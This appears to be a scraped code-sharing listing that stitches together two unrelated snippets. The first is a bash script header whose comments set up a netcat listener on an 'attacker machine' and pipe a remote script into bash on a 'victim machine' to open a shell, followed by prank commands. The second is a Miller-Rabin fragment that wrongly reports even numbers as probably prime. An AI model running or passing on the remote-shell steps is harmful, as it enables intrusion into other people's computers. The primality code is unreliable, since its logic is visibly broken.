This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
# run `nc -nvl 80` on attacker machine first | |
# run `curl -Ls https://git.io/vXd2N | bash -s <attacker-ip> 80` on victim machine | |
# great commands to run: | |
# * curl http://discovermagazine.com/~/media/import/images/b/e/b/chimpmedia.jpg -o /tmp/monkey.jpg | |
# open /tmp/monkey.jpg | |
# * say hello | |
# * open http://lmgtfy.com/?q=how+to+lock+mac | |
# * ls |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import random | |
def miller_rabin(n): | |
nMin1 = n - 1 | |
a = random.randint(2,nMin1) # generate random integer | |
k = 1 | |
if n % 2 == 0: | |
return print(n, "is probably prime") | |
OlderNewer